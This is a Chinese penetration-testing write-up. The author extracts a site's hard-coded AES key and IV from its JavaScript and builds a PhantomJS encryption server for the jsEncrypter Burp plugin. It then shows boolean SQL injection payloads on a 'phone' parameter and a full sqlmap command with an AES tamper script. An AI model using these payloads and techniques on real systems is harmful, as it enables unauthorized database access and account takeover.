温馨提示
本文章仅供学习交流使用,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用任何人
不得将其用于非法用途以及盈利等目的,否则后果自行承担!
0x01:解决加密传输
在进行常规渗透测试时,发现任何传输都是被加密过的
遇到此类情况,建议翻翻JS来寻找加密规则
右键-审查元素-event 可以快速定位到相关js代码
如图,可以发现当点击按钮时,会执行ForgetPwd.sendCode() 即ForgetPwd变量中的sendCode()函数
格式化JS代码后
可以看见使用了aes_encrypt函数对传入的值进行加密
但在当前JS中未搜寻到该函数声明,于是可以推算出是包含在另一个JS文件
在aes.js 中搜寻到了秘钥及偏移量,填充,模式
秘钥:d49d691f234441add2f610d5d11f6aad
偏移量:b883b5ec8ca259692869ada4b72dc6f5
填充:zeropadding
模式:CBC
先用在线AES解密网站试试
0x02 编写解密程序
然后为了方便渗透测,我这里用了phantomjs来写出解密程序
phantom.js下载链接
https://phantomjs.org/download.html
jsEncrypter_base.js:
- var webserver = require('webserver');
- server = webserver.create();
- var host = '127.0.0.1';
- var port = '1664';
- // 加载实现加密算法的js脚本
- var wasSuccessful = phantom.injectJs('aes.js') && phantom.injectJs('pad-zeropadding.js');
- // 处理函数
- function js_encrypt(payload){
- /*********************************************************/
- var AesKey = "d49d691f234441add2f610d5d11f6aad";
- var CBCIV = "b883b5ec8ca259692869ada4b72dc6f5";
- var CBCOptions = {
- iv: CryptoJS.enc.Utf8.parse(CBCIV),
- mode:CryptoJS.mode.CBC,
- padding: CryptoJS.pad.ZeroPadding
- }
- var key = CryptoJS.enc.Utf8.parse(AesKey);
- var secretData = CryptoJS.enc.Utf8.parse(payload);
- var encrypted = CryptoJS.AES.encrypt(
- secretData,
- key,
- CBCOptions
- );
- return encrypted.toString();
- /*********************************************************/
- }
-
-
- if(wasSuccessful){
- console.log(" load js successful");
- console.log("[!] ^_^");
- console.log(" jsEncrypterJS start!");
- console.log("[+] address: http://"+host+":"+port);
- }else{
- console.log(' load js fail!');
- }
-
-
- var service = server.listen(host+':'+port,function(request, response){
- try{
- if(request.method == 'POST'){
- var payload = request.post['payload'];
- var encrypt_payload = js_encrypt(payload);
- console.log('[+] ' + payload + ':' + encrypt_payload);
- response.statusCode = 200;
- response.write(encrypt_payload.toString());
- response.close();
- }else{
- response.statusCode = 200;
- response.write("^_^\n\rhello jsEncrypter!");
- response.close();
- }
- }catch(e){
- console.log('\n-----------------Error Info--------------------')
- var fullMessage = "Message: "+e.toString() + ':'+ e.line;
- for (var p in e) {
- fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
- }
- console.log(fullMessage);
- console.log('---------------------------------------------')
- console.log(' phantomJS exit!')
- phantom.exit();
- }
- });
复制代码
然后运行 phantomjs.exe jsEncrypter_base.js
利用jsEncrypter插件来测试
https://github.com/c0ny1/jsEncrypter/releases/tag/0.3.2
0x03 挖掘漏洞
先前解密成功后 我就开始手注了几个简单的payload 但回显不同,所以可以确定验证手机号此处是存在注入点的
比如
phone=16742264301'and '1'='0'&lang=zh
和
phone=16742264301'and '1'='1'&lang=zh
这个时候就面临两个选择,选择和sqlmap对接 or 用我自己半个月前写的盲注脚本 不过盲注脚本还需要二改
用的也不是像sqlmap那样二分法注入 很浪费时间,所以只能用sqlmap的
但sqlmap默认是没有这种加密脚本的,So 还得自己写个tamper
Aes.py公众号内回复AES_tamper即可下载
最后
python sqlmap.py -r 1.txt --tamper aes.py,lowercase.py,equaltolike.py --dbms mysql --proxy http://1
27.0.0.1:8080 --force-ssl --risk 3 --tech B --skip-urlencode --level 3
0x04 后续
后续还挖到了几处逻辑漏洞,未授权查看其他用户充值记录,重置任意用户密码等
和其他几处接口皆存在SQL注入
正所谓"金玉其外,败絮其中"啊 |